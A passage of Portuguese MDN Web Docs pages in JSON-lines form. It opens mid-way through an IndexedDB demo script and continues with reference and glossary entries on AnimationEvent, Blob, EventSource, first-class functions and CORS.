newViewerFrame();\n\n    var req;\n    req = store.count();\n    // Requests are executed in the order in which they were made against the\n    // transaction, and their results are returned in the same order.\n    // Thus the count text below will be displayed before the actual pub list\n    // (not that it is algorithmically important in this case).\n    req.onsuccess = function (evt) {\n      pub_msg.append(\n        \"<p>There are <strong>\" +\n          evt.target.result +\n          \"</strong> record(s) in the object store.</p>\",\n      );\n    };\n    req.onerror = function (evt) {\n      console.error(\"add error\", this.error);\n      displayActionFailure(this.error);\n    };\n\n    var i = 0;\n    req = store.openCursor();\n    req.onsuccess = function (evt) {\n      var cursor = evt.target.result;\n\n      // If the cursor is pointing at something, ask for the data\n      if (cursor) {\n        console.log(\"displayPubList cursor:\", cursor);\n        req = store.get(cursor.key);\n        req.onsuccess = function (evt) {\n          var value = evt.target.result;\n          var list_item = $(\n            \"<li>\" +\n              \"[\" +\n              cursor.key +\n              \"] \" +\n              \"(biblioid: \" +\n              value.biblioid +\n              \") \" +\n              value.title +\n              \"</li>\",\n          );\n          if (value.year != null) list_item.append(\" - \" + value.year);\n\n          if (\n            value.hasOwnProperty(\"blob\") &&\n            typeof value.blob != \"undefined\"\n          ) {\n            var link = $('<a href=\"' + cursor.key + '\">File</a>');\n            link.on(\"click\", function () {\n              return false;\n            });\n            link.on(\"mouseenter\", function (evt) {\n              setInViewer(evt.target.getAttribute(\"href\"));\n            });\n            list_item.append(\" / \");\n            list_item.append(link);\n          } else {\n            list_item.append(\" / No attached file\");\n          }\n          pub_list.append(list_item);\n        };\n\n        // Move on to the next object in store\n        cursor.continue();\n\n        // This counter serves only to create distinct ids\n        i++;\n      } else {\n        console.log(\"No more entries\");\n      }\n    };\n  }\n\n  function newViewerFrame() {\n    var viewer = $(\"#pub-viewer\");\n    viewer.empty();\n    var iframe = $(\"<iframe />\");\n    viewer.append(iframe);\n    return iframe;\n  }\n\n  function setInViewer(key) {\n    console.log(\"setInViewer:\", arguments);\n    key = Number(key);\n    if (key == current_view_pub_key) return;\n\n    current_view_pub_key = key;\n\n    var store = getObjectStore(DB\\_STORE\\_NAME, \"readonly\");\n    getBlob(key, store, function (blob) {\n      console.log(\"setInViewer blob:\", blob);\n      var iframe = newViewerFrame();\n\n      // It is not possible to set a direct link to the\n      // blob to provide a mean to directly download it.\n      if (blob.type == \"text/html\") {\n        var reader = new FileReader();\n        reader.onload = function (evt) {\n          var html = evt.target.result;\n          iframe.load(function () {\n            $(this).contents().find(\"html\").html(html);\n          });\n        };\n        reader.readAsText(blob);\n      } else if (blob.type.indexOf(\"image/\") == 0) {\n        iframe.load(function () {\n          var img_id = \"image-\" + key;\n          var img = $('<img id=\"' + img_id + '\"/>');\n          $(this).contents().find(\"body\").html(img);\n          var obj_url = window.URL.createObjectURL(blob);\n          $(this)\n            .contents()\n            .find(\"#\" + img_id)\n            .attr(\"src\", obj_url);\n          window.URL.revokeObjectURL(obj_url);\n        });\n      } else if (blob.type == \"application/pdf\") {\n        $(\"\\*\").css(\"cursor\", \"wait\");\n        var obj_url = window.URL.createObjectURL(blob);\n        iframe.load(function () {\n          $(\"\\*\").css(\"cursor\", \"auto\");\n        });\n        iframe.attr(\"src\", obj_url);\n        window.URL.revokeObjectURL(obj_url);\n      } else {\n        iframe.load(function () {\n          $(this).contents().find(\"body\").html(\"No view available\");\n        });\n      }\n    });\n  }\n\n  /\\*\\*\n \\* @param {string} biblioid\n \\* @param {string} title\n \\* @param {number} year\n \\* @param {string} url the URL of the image to download and store in the local\n \\* IndexedDB database. The resource behind this URL is subjected to the\n \\* \"Same origin policy\", thus for this method to work, the URL must come from\n \\* the same origin as the web site/app this code is deployed on.\n \\*/\n  function addPublicationFromUrl(biblioid, title, year, url) {\n    console.log(\"addPublicationFromUrl:\", arguments);\n\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", url, true);\n    // Setting the wanted responseType to \"blob\"\n    // https://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute\n    xhr.responseType = \"blob\";\n    xhr.onload = function (evt) {\n      if (xhr.status == 200) {\n        console.log(\"Blob retrieved\");\n        var blob = xhr.response;\n        console.log(\"Blob:\", blob);\n        addPublication(biblioid, title, year, blob);\n      } else {\n        console.error(\n          \"addPublicationFromUrl error:\",\n          xhr.responseText,\n          xhr.status,\n        );\n      }\n    };\n    xhr.send();\n\n    // We can't use jQuery here because as of jQuery 1.8.3 the new \"blob\"\n    // responseType is not handled.\n    // http://bugs.jquery.com/ticket/11461\n    // http://bugs.jquery.com/ticket/7248\n    // $.ajax({\n    // url: url,\n    // type: 'GET',\n    // xhrFields: { responseType: 'blob' },\n    // success: function(data, textStatus, jqXHR) {\n    // console.log(\"Blob retrieved\");\n    // console.log(\"Blob:\", data);\n    // // addPublication(biblioid, title, year, data);\n    // },\n    // error: function(jqXHR, textStatus, errorThrown) {\n    // console.error(errorThrown);\n    // displayActionFailure(\"Error during blob retrieval\");\n    // }\n    // });\n  }\n\n  /\\*\\*\n \\* @param {string} biblioid\n \\* @param {string} title\n \\* @param {number} year\n \\* @param {Blob=} blob\n \\*/\n  function addPublication(biblioid, title, year, blob) {\n    console.log(\"addPublication arguments:\", arguments);\n    var obj = { biblioid: biblioid, title: title, year: year };\n    if (typeof blob != \"undefined\") obj.blob = blob;\n\n    var store = getObjectStore(DB\\_STORE\\_NAME, \"readwrite\");\n    var req;\n    try {\n      req = store.add(obj);\n    } catch (e) {\n      if (e.name == \"DataCloneError\")\n        displayActionFailure(\n          \"This engine doesn't know how to clone a Blob, \" + \"use Firefox\",\n        );\n      throw e;\n    }\n    req.onsuccess = function (evt) {\n      console.log(\"Insertion in DB successful\");\n      displayActionSuccess();\n      displayPubList(store);\n    };\n    req.onerror = function () {\n      console.error(\"addPublication error\", this.error);\n      displayActionFailure(this.error);\n    };\n  }\n\n  /\\*\\*\n \\* @param {string} biblioid\n \\*/\n  function deletePublicationFromBib(biblioid) {\n    console.log(\"deletePublication:\", arguments);\n    var store = getObjectStore(DB\\_STORE\\_NAME, \"readwrite\");\n    var req = store.index(\"biblioid\");\n    req.get(biblioid).onsuccess = function (evt) {\n      if (typeof evt.target.result == \"undefined\") {\n        displayActionFailure(\"No matching record found\");\n        return;\n      }\n      deletePublication(evt.target.result.id, store);\n    };\n    req.onerror = function (evt) {\n      console.error(\"deletePublicationFromBib:\", evt.target.errorCode);\n    };\n  }\n\n  /\\*\\*\n \\* @param {number} key\n \\* @param {IDBObjectStore=} store\n \\*/\n  function deletePublication(key, store) {\n    console.log(\"deletePublication:\", arguments);\n\n    if (typeof store == \"undefined\")\n      store = getObjectStore(DB\\_STORE\\_NAME, \"readwrite\");\n\n    // As per spec https://www.w3.org/TR/IndexedDB/#object-store-deletion-operation\n    // the result of the Object Store Deletion Operation algorithm is\n    // undefined, so it's not possible to know if some records were actually\n    // deleted by looking at the request result.\n    var req = store.get(key);\n    req.onsuccess = function (evt) {\n      var record = evt.target.result;\n      console.log(\"record:\", record);\n      if (typeof record == \"undefined\") {\n        displayActionFailure(\"No matching record found\");\n        return;\n      }\n      // Warning: The exact same key used for creation needs to be passed for\n      // the deletion. If the key was a Number for creation, then it needs to\n      // be a Number for deletion.\n      req = store.delete(key);\n      req.onsuccess = function (evt) {\n        console.log(\"evt:\", evt);\n        console.log(\"evt.target:\", evt.target);\n        console.log(\"evt.target.result:\", evt.target.result);\n        console.log(\"delete successful\");\n        displayActionSuccess(\"Deletion successful\");\n        displayPubList(store);\n      };\n      req.onerror = function (evt) {\n        console.error(\"deletePublication:\", evt.target.errorCode);\n      };\n    };\n    req.onerror = function (evt) {\n      console.error(\"deletePublication:\", evt.target.errorCode);\n    };\n  }\n\n  function displayActionSuccess(msg) {\n    msg = typeof msg != \"undefined\" ? \"Success: \" + msg : \"Success\";\n    $(\"#msg\").html('<span class=\"action-success\">' + msg + \"</span>\");\n  }\n  function displayActionFailure(msg) {\n    msg = typeof msg != \"undefined\" ? \"Failure: \" + msg : \"Failure\";\n    $(\"#msg\").html('<span class=\"action-failure\">' + msg + \"</span>\");\n  }\n  function resetActionStatus() {\n    console.log(\"resetActionStatus ...\");\n    $(\"#msg\").empty();\n    console.log(\"resetActionStatus DONE\");\n  }\n\n  function addEventListeners() {\n    console.log(\"addEventListeners\");\n\n    $(\"#register-form-reset\").click(function (evt) {\n      resetActionStatus();\n    });\n\n    $(\"#add-button\").click(function (evt) {\n      console.log(\"add ...\");\n      var title = $(\"#pub-title\").val();\n      var biblioid = $(\"#pub-biblioid\").val();\n      if (!title || !biblioid) {\n        displayActionFailure(\"Required field(s) missing\");\n        return;\n      }\n      var year = $(\"#pub-year\").val();\n      if (year != \"\") {\n        // Better use Number.isInteger if the engine has EcmaScript 6\n        if (isNaN(year)) {\n          displayActionFailure(\"Invalid year\");\n          return;\n        }\n        year = Number(year);\n      } else {\n        year = null;\n      }\n\n      var file_input = $(\"#pub-file\");\n      var selected_file = file_input.get(0).files[0];\n      console.log(\"selected\\_file:\", selected_file);\n      // Keeping a reference on how to reset the file input in the UI once we\n      // have its value, but instead of doing that we rather use a \"reset\" type\n      // input in the HTML form.\n      //file\\_input.val(null);\n      var file_url = $(\"#pub-file-url\").val();\n      if (selected_file) {\n        addPublication(biblioid, title, year, selected_file);\n      } else if (file_url) {\n        addPublicationFromUrl(biblioid, title, year, file_url);\n      } else {\n        addPublication(biblioid, title, year);\n      }\n    });\n\n    $(\"#delete-button\").click(function (evt) {\n      console.log(\"delete ...\");\n      var biblioid = $(\"#pub-biblioid-to-delete\").val();\n      var key = $(\"#key-to-delete\").val();\n\n      if (biblioid != \"\") {\n        deletePublicationFromBib(biblioid);\n      } else if (key != \"\") {\n        // Better use Number.isInteger if the engine has EcmaScript 6\n        if (key == \"\" || isNaN(key)) {\n          displayActionFailure(\"Invalid key\");\n          return;\n        }\n        key = Number(key);\n        deletePublication(key);\n      }\n    });\n\n    $(\"#clear-store-button\").click(function (evt) {\n      clearObjectStore();\n    });\n\n    var search_button = $(\"#search-list-button\");\n    search_button.click(function (evt) {\n      displayPubList();\n    });\n  }\n\n  openDb();\n  addEventListeners();\n})(); // Immediately-Invoked Function Expression (IIFE)\n```\n\nTest the online live demoVer também\n----------\n\nUma leitura adicional para você encontrar mais informações.\n\n### Refências\n\n* IndexedDB API Reference\n* Indexed Database API Specification\n* Using IndexedDB in chrome\n* Using JavaScript generators in Firefox\n* IndexedDB interface files in the Firefox source code\n### Guias e tutoriais\n\n* Databinding UI Elements with IndexedDB\n* IndexedDB — The Store in Your Browser"}
{"title":"AnimationEvent.elapsedTime - APIs da Web","text":"AnimationEvent.elapsedTime\n==========================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nSumário\n-------\n\nO **`AnimationEvent.elapsedTime`** é uma propriedade só de leitura com um ponto flutuante dando a quantidade de tempo que animação esteve rodando, em segundos, quando o evento termina, excluirá o tempo em que ela esteve em pausa. Para um evento `\"animationstart\"`, `elapsedTime` é `0.0` a não ser que tenha um valor negativo para `animation-delay`, nesse caso o evento irá terminar com `elapsedTime` contendo `(-1 * delay)`.\n\nSíntaxe\n-------\n```\n\ntime = AnimationEvent.elapsedTime\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # dom-animationevent-elapsedtime |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando animações CSS.\n* Animation-related CSS properties and at-rules: `animation`, `animation-delay`, `animation-direction` (en-US), `animation-duration` (en-US), `animation-fill-mode` (en-US), `animation-iteration-count` (en-US), `animation-name` (en-US), `animation-play-state` (en-US), `animation-timing-function` (en-US), `@keyframes` (en-US).\n* The `AnimationEvent` interface it belongs to."}
{"title":"AnimationEvent.pseudoElement - APIs da Web","text":"AnimationEvent.pseudoElement\n============================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nSumário\n-------\n\nO **`AnimationEvent.pseudoElement`** é uma propriedade só de leitura do `DOMString`, começando com `'::'`, contendo o nome do pseudo-element em que a animação roda. Se a animação não roda em um pseudo-elemento mas em um elemento, então temos uma *string* vazia : `''`.\n\nSíntaxe\n-------\n```\n\nname = AnimationEvent.pseudoElement\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # dom-animationevent-pseudoelement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using CSS animations\n* `animation`, `animation-delay`, `animation-direction` (en-US), `animation-duration` (en-US), `animation-fill-mode` (en-US), `animation-iteration-count` (en-US), `animation-name` (en-US), `animation-play-state` (en-US), `animation-timing-function` (en-US), `@keyframes` (en-US).\n* The `AnimationEvent` interface it belongs to."}
{"title":"AnimationEvent.animationName - APIs da Web","text":"AnimationEvent.animationName\n============================\n\n`**Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.`\nO `AnimationEvent.animationName` é uma propriedade só de leitura do`DOMString` contendo o valor de `animation-name` (en-US) propriedade CSS relacionada com a trasição.\n\nSíntaxe\n-------\n```\n\nname = AnimationEvent.animationName\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # dom-animationevent-animationname |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Usando animações CSS\n* `animation`, `animation-delay`, `animation-direction` (en-US), `animation-duration` (en-US), `animation-fill-mode` (en-US), `animation-iteration-count` (en-US), `animation-name` (en-US), `animation-play-state` (en-US), `animation-timing-function` (en-US), `@keyframes` (en-US).\n* The `AnimationEvent` interface it belongs to."}
{"title":"AnimationEvent() - APIs da Web","text":"AnimationEvent()\n================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\n`O construtor AnimationEvent()`retorna o recente criado `AnimationEvent`, representando um evento em relação a animação.\n\nSíntaxe\n-------\n```\n\nanimationEvent = new AnimationEvent(type, {animationName: aPropertyName,\n                                           elapsedTime  : aFloat,\n                                           pseudoElement: aPseudoElementName});\n```\n\n### Argumentos\n\n*O construtor `AnimationEvent()`* *também herda argumentos do `Event()`.*\n\n`type`\n\nUm `DOMString` representando o nome do tipo de `AnimationEvent`. É caso sensitivo e pode ser: `'animationstart'`, `'animationend'`, ou `'animationiteration'`.\n\n`animationName` Optional\n\nUm`DOMString` contendo o valor do `animation-name` (en-US) propriedade CSS associada com a transição. É por padrão `\"\"`.\n\n`elapsedTime` Optional\n\nUm ponto flutuante dando a quantidade de tempo que a animação esteve rodando, em segundos, quando o evento termina, excluindo qualquer tempo que ela passou pausada. Para um evento `\"animationstart\"`, `elapsedTime` é `0.0` a não ser que haja um valor negativo para `animation-delay`, nesse caso o evento terminará com `elapsedTime contendo` `(-1 *`*delay*`)`. É por padrão `0.0`.\n\n`pseudoElement` Optional\n\nÉ um ``DOMString``, começando com`\"::\"`, contendo o nome do pseudo-element que a animação roda. Se a animação não roda em um pseudo-elementomas em um elemento, então temos um *string* vazio `\"\" .`É por padrão `\"\"`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # dom-animationevent-animationevent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando animações CSS.\n* Tópicos relacionados a animação CSS, propriedades e regras: `animation`, `animation-delay`, `animation-direction` (en-US), `animation-duration` (en-US), `animation-fill-mode` (en-US), `animation-iteration-count` (en-US), `animation-name` (en-US), `animation-play-state` (en-US), `animation-timing-function` (en-US), `@keyframes` (en-US)\n* The `AnimationEvent` interface it belongs to."}
{"title":"Blob.size - APIs da Web","text":"Blob.size\n=========\n\nA propriedade **`Blob.size`** retorna o tamanho em bytes de `Blob` ou um `File`.\n\nSyntaxe\n-------\n```\n\nvar sizeInBytes = blob.size\n```\n\n### Valor\n\nUm número.\n\nExempl0\n-------\n\n\n```js\n// fileInput é um HTMLInputElement: <input type=\"file\" multiple id=\"myfileinput\">\nvar fileInput = document.getElementById(\"myfileinput\");\n\n// files é um objeto FileList (similiar ao NodeList)\nvar files = fileInput.files;\n\nfor (var i = 0; i < files.length; i++) {\n  console.log(files[i].name + \" has a size of \" + files[i].size + \" Bytes\");\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # dfn-size |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Blob`"}
{"title":"Blob - APIs da Web","text":"Blob\n====\n\nBlob()\n\nRetorna um novo objeto Blob criado, cujo o conteúdo consiste na concatenação de um array de valores estabelecidos no parâmetro da função.\n\nSyntaxe\n-------\n```\n\nvar aBlob = new Blob( array[, options]);\n```\n\n### Parâmetros\n\n* *array* é um `Array` de objetos `ArrayBuffer`, `ArrayBufferView` (en-US), `Blob`, `DOMString`, ou uma combinação de quaisquer um destes objetos, que serão colocados dentro do `Blob`. DOMStrings são codificadas como UTF-8.\n* *options* é um dicionário opcional `BlobPropertyBag` que pode especificar os dois atributos seguintes:\n    + `type`, com um valor padrão de `\"\"`, que representa o MIME type do conteúdo do array que será inserido no blob.\n    + `endings`, com um valor padrão de `\"transparent\"`, especifica como strings contendo o caracter de final de linha `\\n` deverão ser escritos. Tem um dos dois valores: `\"native\"`, indicando que caracteres de final de linha são modificados para coincidir com a convenção do Sistema Operacional, ou `\"transparent\"`, indicando que finais são armazenados no blob sem quaisquer modificações. \n    Non-standard\nExemplo\n-------\n\n\n```js\nvar aFileParts = ['<a id=\"a\"><b id=\"b\">hey!</b></a>']; // an array consisting of a single DOMString\nvar oMyBlob = new Blob(aFileParts, { type: \"text/html\" }); // the blob\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| File API # constructorBlob |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A versão descontinuada que o construtor `BlobBuilder` (en-US) substitui."}
{"title":"Blob.slice() - APIs da Web","text":"Blob.slice()\n============\n\nO método **`Blob.slice()`** é usado para criar um novo `Blob` object contendo os dados no intervalo especificado de bytes da fonte `Blob`.\n\n**Nota:** Nota: Esteja ciente de que o método `slice ()` tem prefixos de fornecedores em alguns navegadores e versões: `blob.mozSlice ()` para Firefox 12 e anteriores e `blob.webkitSlice ()` no Safari. Uma versão antiga do método `slice ()`, sem prefixos de fornecedor, tinha uma semântica diferente e é obsoleta\n\nSintaxe\n-------\n```\n\nlet blob = instanceOfBlob.slice([start [, end [, contentType]]]);\n```\n\n### Parâmetros\n\n`start` Optional\n\nAn index into the `Blob` indicating the first byte to include in the new `Blob`. If you specify a negative value, it's treated as an offset from the end of the string toward the beginning. For example, -10 would be the 10th from last byte in the `Blob`. The default value is 0. If you specify a value for `start` that is larger than the size of the source `Blob`, the returned `Blob` has size 0 and contains no data.\n\n`end` Optional\n\nAn index into the `Blob` indicating the first byte that will \\*not\\* be included in the new `Blob` (i.e. the byte exactly at this index is not included). If you specify a negative value, it's treated as an offset from the end of the string toward the beginning. For example, -10 would be the 10th from last byte in the `Blob`. The default value is `size`.\n\n`contentType` Optional\n\nThe content type to assign to the new `Blob`; this will be the value of its `type` property. The default value is an empty string.\n\n### Return value\n\nA new `Blob` object containing the specified data from the source `Blob`.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| File API # dfn-slice |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Blob`\n* `BlobBuilder` (en-US)"}
{"title":"Blob.type - APIs da Web","text":"Blob.type\n=========\n\nA propriedade **`type`** de um objeto `Blob` fornece MIME type (en-US) do arquivo. Ela retorna uma string vazia se o tipo não puder ser determinado.\n\nSyntaxe\n-------\n```\n\nvar mimetype = instanceOfFile.type\n```\n\nValor\n-----\n\nUma string\n\nExemplo\n-------\n\n\n```js\nvar i, fileInput, files, allowedFileTypes;\n\n// fileInput é um HTMLInputElement: <input type=\"file\" multiple id=\"myfileinput\">\nfileInput = document.getElementById(\"myfileinput\");\n\n// files é um objeto FileList (similiar ao NodeList)\nfiles = fileInput.files;\n\n// nossa aplicação permite apenas imagens dos tipos \\*.png, \\*.jpeg and \\*.gif\nallowedFileTypes = [\"image/png\", \"image/jpeg\", \"image/gif\"];\n\nfor (i = 0; i < files.length; i++) {\n  // Testa se file.type é um tipo de arquivo permitido.\n  if (allowedFileTypes.indexOf(files[i].type) > -1) {\n    // file type é um dos tipos permitidos. Código aqui.\n  }\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # dfn-type |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Blob`"}
{"title":"EventSource.onerror - APIs da Web","text":"EventSource.onerror\n===================\n\nA propriedade **`onerror`** da interface `EventSource` é um `event handler` chamado quando um erro ocorre e um evento `error (en-US)` é despachado para o objeto `EventSource`.\n\nSintaxe\n-------\n```\n\neventSource.onerror = function\n```\n\nExemplos\n--------\n\n\n```js\nevtSource.onerror = function () {\n  console.log(\"EventSource failed.\");\n};\n```\n\n\n**Nota:** Você pode encontrar um exemplo completo no GitHub — veja Simple SSE demo using PHP.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-error |\n| HTML Standard # handler-eventsource-onerror |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `EventSource`"}
{"title":"EventSource() - APIs da Web","text":"EventSource()\n=============\n\nO construtor **`EventSource()`** retorna uma nova `EventSource`, que representa um recurso remoto.\n\nSintaxe\n-------\n```\n\neventSource = new EventSource(url, configuration);\n```\n\n### Parâmetros\n\n`url`\n\nUma `USVString` (en-US) que representa a localização de um recurso remoto servindo os eventos/mensagens.\n\n`configuration` Optional\n\nFornece opções para configurar a nova conexão. Os atributos possíveis são:\n\n* `withCredentials`, valor padrão `false`, indicando se o CORS deve ser instruído a `incluir` credenciais.\n\nExemplos\n--------\n\n\n```js\nvar evtSource = new EventSource(\"sse.php\");\nvar eventList = document.querySelector(\"ul\");\n\nevtSource.onmessage = function (e) {\n  var newElement = document.createElement(\"li\");\n\n  newElement.textContent = \"message: \" + e.data;\n  eventList.appendChild(newElement);\n};\n```\n\n\n**Nota:** Você pode encontrar um exemplo completo no GitHub — veja Simple SSE demo using PHP.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-eventsource-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `EventSource`"}
{"title":"Contêiner de Alinhamento - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Contêiner de Alinhamento\n========================\n\nO **contêiner de alinhamento** é um retângulo dentro do qual os tópicos de alinhamento são alinhados, isto é, definidos. Isso é definido pelo modelo de layout; geralmente é o bloco que contém o tópico de alinhamento, e assume o modo de escrita do box estabelecendo o bloco de conteúdo.\n\nSaiba mais\n----------\n\n* CSS Alinhamento de Box (en-US)"}
{"title":"Python - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Python\n======\n\n**Python** é uma linguagem de programação de alto nível e de uso geral. Ele usa uma abordagem multi-paradigma, o que significa que ele suporta procedural, orientação a objetos, e algumas construções de programação funcional.\n\nEle foi criado por Guido van Rossum como sucessor de outra linguagem (chamado ABC) entre 1985 e 1990, e atualmente é usado em uma grande variedade de domínios, como desenvolvimento web, como linguagem de script para outras aplicações e para construir aplicações reais.\n\nSaiba Mais\n----------\n\n* Python na Wikipedia\n* Um tutorial python"}
{"title":"Atributo HTML - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Atributo HTML\n=============\n\n*Atributos* estendem uma tag (\"etiqueta\"), modificando o comportamento dela ou fornecendo meta dados.\n Um atributo sempre tem a forma `nome=valor` (especificando o identificador do atributo e o valor associado a ele).\n\nExemplo:\n\n<div id=\"principal\" class=\"principal\"> Neste cado o `id` e `class` são o atributo e o nome pricipal o valor.\n\nAprenda mais\n------------\n\n### Referência Técnica\n\n* Referência de atributos de HTML\n* Informações sobre atributos globais de HTML."}
{"title":"Função First-class - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Função First-class\n==================\n\nEntende-se que uma linguagem de programação tem **Função First-class** quando suas funções são tratadas como qualquer outra variável. Por exemplo, numa linguagem desse tipo, a função pode ser passada como argumento pra outras funções, ser retornada por outra função e pode ser atribuída como um valor à uma variável.\n\nExemplo | Atribuir uma função à uma variável\n--------------------------------------------\n\n### JavaScript\n\n\n```js\nconst foo = function () {\n  console.log(\"foobar\");\n};\n// Chamar a função usando a variável\nfoo();\n```\n\n\nNós atribuímos uma `Função Anônima` à uma `Variável`, então usamos a variável pra chamar a função adicionando parênteses `()` no fim.\n\n**Nota:** **Mesmo se sua função for nomeada,** você pode usar o nome da variável pra chamá-la. Nomeá-la será útil quando for debugar seu código. *Mas não afetará a maneira que à chamamos.*\n\nExemplo | Passar uma função como um Argumento\n---------------------------------------------\n\n### JavaScript\n\n\n```js\nfunction sayHello() {\n  return \"Hello, \";\n}\nfunction greeting(helloMessage, name) {\n  console.log(helloMessage() + name);\n}\n// Passar `sayHello` como um argumento pra função `greeting`\ngreeting(sayHello, \"JavaScript!\");\n```\n\n\nNós estamos passando a função `sayHello()` como um argumento pra função `greeting()`, isso explica como estamos tratando a função como um `valor`.\n\n**Nota:** A função que passamos como um argumento pra outra função, chamou uma **Função Callback.** *`sayHello` é uma Função Callback.*\n\nExemplo | Retornar uma função\n-----------------------------\n\n### JavaScript\n\n\n```js\nfunction sayHello() {\n  return function () {\n    console.log(\"Hello!\");\n  };\n}\n```\n\n\nNeste exemplo; Precisamos retornar uma função de outra função - *Podemos retornar uma função porque tratamos função em JavaScript como um **`valor`**.*\n\n**Nota:** Uma função que retorna uma função é chamada de **Higher-Order Function**\n\nDe volta ao nosso exemplo; Agora, precisamos chamar a função `sayHello` e a `Função anônima` retornada. Existem duas maneiras para fazermos isso:\n\n### 1- Usando uma variável\n\n\n```js\nconst sayHello = function () {\n  return function () {\n    console.log(\"Hello!\");\n  };\n};\nconst myFunc = sayHello();\nmyFunc();\n```\n\n\nDessa maneira, ela retorna a mensagem `Hello!`.\n\n**Nota:** Você tem que usar outra variável. Se você fosse chamar `sayHello` diretamente, ela retornaria a função em si **sem chamar a função retornada**.\n\n### 2- Usando parênteses duplo\n\n\n```js\nfunction sayHello() {\n  return function () {\n    console.log(\"Hello!\");\n  };\n}\nsayHello()();\n```\n\n\nEstamos usando parênteses duplo `()()` pra chamar também a função retornada.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* First-class functions na Wikipedia"}
{"title":"CORS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"CORS\n====\n\n**CORS** (Cross-Origin Resource Sharing) é um sistema que consiste na transmissão de HTTP headers (en-US), que determina se navegadores vão bloquear código JavaScript de acessarem respostas provindas de requisições entre origens.\n\nA same-origin security policy (en-US) proíbe acesso aos recursos entre origens. Mas CORS dá aos servidores web a habilidade de dizer quando eles querem optar em permitir o acesso aos seus recursos entre origens.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Cross-Origin Resource Sharing (CORS) na MDN\n* Cross-origin resource sharing na Wikipedia\n### Cabeçalhos CORS\n\n`Access-Control-Allow-Origin`\n\nIndica quando uma resposta pode ser compartilhada.\n\n`Access-Control-Allow-Credentials`\n\nIndica quando uma resposta a uma requisição pode ou não ser exposta quando a bandeira de credenciais é verdadeira.\n\n`Access-Control-Allow-Headers`\n\nUsado na resposta a uma requisição *on-the-fly* que indica quais cabeçalhos HTTP podem ser usados quando a requisição verdadeira for feita.\n\n`Access-Control-Allow-Methods`\n\nEspecifica o método ou métodos de acesso ao recurso na requisição *on-the-fly.*\n\n`Access-Control-Expose-Headers`\n\nIndica quais cabeçalhos podem ser expostos como parte da resposta listando seus nomes.\n\n`Access-Control-Max-Age`\n\nIndica quanto tempo os resultados da requisição *on-the-fly* podem ser cacheados.\n\n`Access-Control-Request-Headers`\n\nUsado ao emitir uma requisição *on-the-fly* para deixar o servidor sabendo quais cabeçalhos HTTP serão utilizados quando a requisição verdadeira for feita.\n\n`Access-Control-Request-Method`\n\nUsado ao emitir uma requisição *on-the-fly* para deixar o servidor sabendo qual método HTTP será usado quando a requisição verdadeira for feita.\n\n`Origin`\n\nIndica de onde uma busca se origina.\n\n### Referência técnica\n\n* Especificação Fetch"}
